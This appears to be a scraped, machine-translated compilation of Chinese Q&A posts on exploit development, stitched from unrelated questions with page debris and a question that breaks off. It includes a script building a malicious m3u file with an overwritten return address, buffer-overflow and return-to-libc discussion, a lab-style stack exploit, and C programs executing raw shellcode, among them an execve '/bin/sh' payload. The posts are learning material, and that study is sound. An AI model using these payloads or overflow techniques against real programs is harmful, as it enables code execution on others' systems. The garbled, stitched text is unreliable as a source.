我最近一直致力于一些漏洞利用开发,为培训课程做好准备,而且我遇到了一个教程问题.我一直在关注我能找到的所有教程,使用Python而不是教程使用的语言,而不是偏好.我正在尝试对所有内容进行交叉编码,但我无法弄清楚如何对Perl的Pack()函数进行交叉编码.
TL; DR:我正在尝试将其转换为python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
Run Code Online (Sandbox Code Playgroud)
我找到了Python的struct.pack()函数,但是当我使用它时
Fuzzed.write(struct.pack('V', 0x773D10A4))
Run Code Online (Sandbox Code Playgroud)
,它停止程序,不起作用.我究竟做错了什么?
这是我的完整源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
Run Code Online (Sandbox Code Playgroud) 我想理解这两种攻击之间的确切区别.据我所读:
缓冲区溢出:它覆盖堆栈上的ret地址,指向插入恶意代码的代码的另一部分.如此有效 - 在这里我们需要修改程序的源代码来实际执行攻击.
返回Libc-这里不使用修改源代码,而是使用C库提供的运行时函数调用(比如打开shell).这里用于函数调用的参数也在覆盖缓冲区中传递,最后在堆栈的ret部分之后.
以上是准确的描述吗?
另一个相关问题 - 是否有可能在没有实际修改原始程序的源代码的情况下进行缓冲区溢出攻击?可能是我们编写一个新程序并允许它修改某些内存部分(这是原始程序损坏的堆栈中的新的ret地址).然后,我认为这可能是不可能的,因为内核中的进程之间提供了内存保护.
基本上我正在利用的功能是这样的:
int getbufn()
{
char buf[512];
Gets(buf);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
当我运行主程序时,该函数执行5次,每次buf的位置改变,%ebp的位置也改变.我应该做的是将一个特定的十六进制值,比如0xFFFFFFFF,放入一个变量中,主程序每次都会检查该变量是否存在.如果它再次执行,直到完成所有5次并且程序安静地退出.
我遇到的问题是,在检查十六进制值之前,检查另一个常量值,比如说0x12345678.如果我已经损坏了0x12345678并且它不在那里,程序就会爆炸.
我已经发现0x12345678存储在-0x10(%ebp)中,所以我知道它基于%ebp并且我每次都知道%ebp的地址但我只能在第一次使用该漏洞利用.我这样做基本上是用了496个字节,而且这个机器代码是用字节格式的:
mov 0xFFFFFFFF, %eax
movl address old ebp, %ebp
push correct return adress in function main
ret
Run Code Online (Sandbox Code Playgroud)
最后是5个字和一个返回长的字节,我填充0x313131使其长6个字.此时我的漏洞利用字符串长度为520字节,这正好是缓冲区低于%ebp的数量,因此我添加旧ebp的地址和我的nopsled中的某个地址覆盖%ebp处的当前值以及返回值getbufn的地址.
问题是当程序执行第二次时%ebp的地址0x10低于其先前的地址,所以我的方式不会破坏%ebp不起作用,并且主检测到0x12345678不在-0x10(%ebp).如何解除%ebp的损坏?
#include <stdio.h>
int main(int argc, char** argv)
{
void (*p) (void);
/* this obviously won't work, but what string could I put in
here (if anything) to make this execute something meaningful?
Does any OS allow instructions to be read from
the stack rather than text area of the process image? */
char *c = "void f() { printf(\"Hello, world!\"); }";
p = ( void (*)() )c;
p();
return 0;
}
Run Code Online (Sandbox Code Playgroud) 大家好,
我正在尝试学习基本的shell编码,我遇到了一些奇怪的事情,我希望有人可以向我解释.我已经用两种方式编译了以下代码:将shellcode声明为数组并将其声明为char*.当我将shellcode声明为数组时,linux检测到我正在尝试执行数据,并且我在第一条指令上遇到了段错误.但是,当我将shellcode声明为char*时,所有shellcode都会执行,并且我得到一个"Hello world!".编译器如何以不同的方式处理这两个声明,为什么一个以shellcode结尾,它存在于不受保护的内存中?提前致谢.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* This declaration ends in a segfault */
//char shellcode[] =
/* This declaration ends in successful execution */
char* shellcode =
/* Shellcode prints "Hello world!" and exits */
"\xeb\x1f\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0c\xcd\x80\x48\x31\xc0\xb0\x01\x48\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21";
int main()
{
void (*f)();
f = (void (*)())shellcode;
(void)(*f)();
}
Run Code Online (Sandbox Code Playgroud) 我想要一个简单的C方法,以便能够在Linux 64位机器上运行十六进制字节码.这是我的C程序:
char code[] = "\x48\x31\xc0";
#include <stdio.h>
int main(int argc, char **argv)
{
int (*func) ();
func = (int (*)()) code;
(int)(*func)();
printf("%s\n","DONE");
}
Run Code Online (Sandbox Code Playgroud)
我试图运行的代码("\x48\x31\xc0")我通过编写这个简单的汇编程序获得(它不应该真的做任何事情)
.text
.globl _start
_start:
xorq %rax, %rax
Run Code Online (Sandbox Code Playgroud)
然后编译并objdump它以获取字节码.
但是,当我运行我的C程序时,我得到了一个分段错误.有任何想法吗?
我目前正在编写一个shellcode,它利用了使用该puts函数的目标程序.该程序如下所示:
#include <stdio.h>
main() {
char buf[123];
puts(gets(buf));
}
Run Code Online (Sandbox Code Playgroud)
我想要做的是溢出这个缓冲区并execve使用一些参数调用.我有一个用c/inline程序集编写的测试程序,可以execve用一些参数调用,然后我用来gdb从这个程序中获取shellcode.根据我的理解,堆栈布局如下所示:
| -------缓冲液(+填充)--------- | --------- --------- SFP | ------- RET ------------- |
通过查看gcc生成的目标程序的部分汇编代码:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
addq $-128, %rsp
leaq -128(%rbp), %rax
movq %rax, %rdi
call gets
movq %rax, %rdi
call puts
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
Run Code Online (Sandbox Code Playgroud)
我认为缓冲区和填充占用128个字节,sfp和返回地址各占8个字节,因此总共有144个字节.基于此,我的nop sled,payload和新的返回地址(等于缓冲区的地址)组合(即我的shellcode)也应该是144个字节.例如,如果我的有效载荷是36个字节,因为返回地址占用8个字节,我的nop sled将是100个字节.但是当我这样做的时候它没有用.所以我想也许我理解堆栈布局的方式是错误的.这是错的吗?
请注意,在我的情况下,缓冲区地址是已知的,并且堆栈通过使用设置为可执行,execstack并且使用了ASLR setarch …
我正在阅读这本书"剥削艺术",这本书很好,我从exploit_notesearch.c文件中查看了这个例子.
简要的作者试图从notesearch.c溢出程序
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
Run Code Online (Sandbox Code Playgroud)
main函数的参数被复制到searchstring数组,如果参数大于100字节,它将从main函数溢出返回地址.
作者在exploit_notesearch.c中准备shellcode并调用易受攻击的notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; …Run Code Online (Sandbox Code Playgroud) 现代编译器GCC非常强大,甚至可以防止编译阶段的缓冲区溢出,因此OS无法在堆栈空间上运行代码.
例如:
void function(char *str)
{
char buffer[16];
strncpy(buffer, str, 256);
}
void main()
{
char large_string[256];
int i;
for( i = 0; i < 256; i++)
large_string[i] = 'A';
function(large_string);
}
Run Code Online (Sandbox Code Playgroud)
我可以获得神奇的0x41414141的唯一方法是设置GCC编译参数,如:
gcc -fno-stack-protector -z execstack stackoverflow.c -o stackoverflow
Run Code Online (Sandbox Code Playgroud)
(我在ubuntu 10.04 x86清晰32位盒子上测试过它)
有什么方法可以绕过GCC堆栈粉碎保护吗?
我最近一直在学习计算机安全,遇到了几个问题,特别是我遇到了一些问题.
我给了一个带有固定缓冲区的函数,我需要溢出才能在文件shellcode中执行shellcode.功能很简单:
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
//function provided to display stack on command prompt
dump_stack((void **) buf, 21, (void **) &str);
}
Run Code Online (Sandbox Code Playgroud)
我最初的猜测是修改函数的返回地址,eip,以便找到并执行shellcode文件中的内容,但我意识到我没有地址到我可以用十六进制值表示的文件.我很确定我需要操纵返回地址,所以我目前正在调用的是:
//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")
Run Code Online (Sandbox Code Playgroud)
我的输出是:
Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: …Run Code Online (Sandbox Code Playgroud)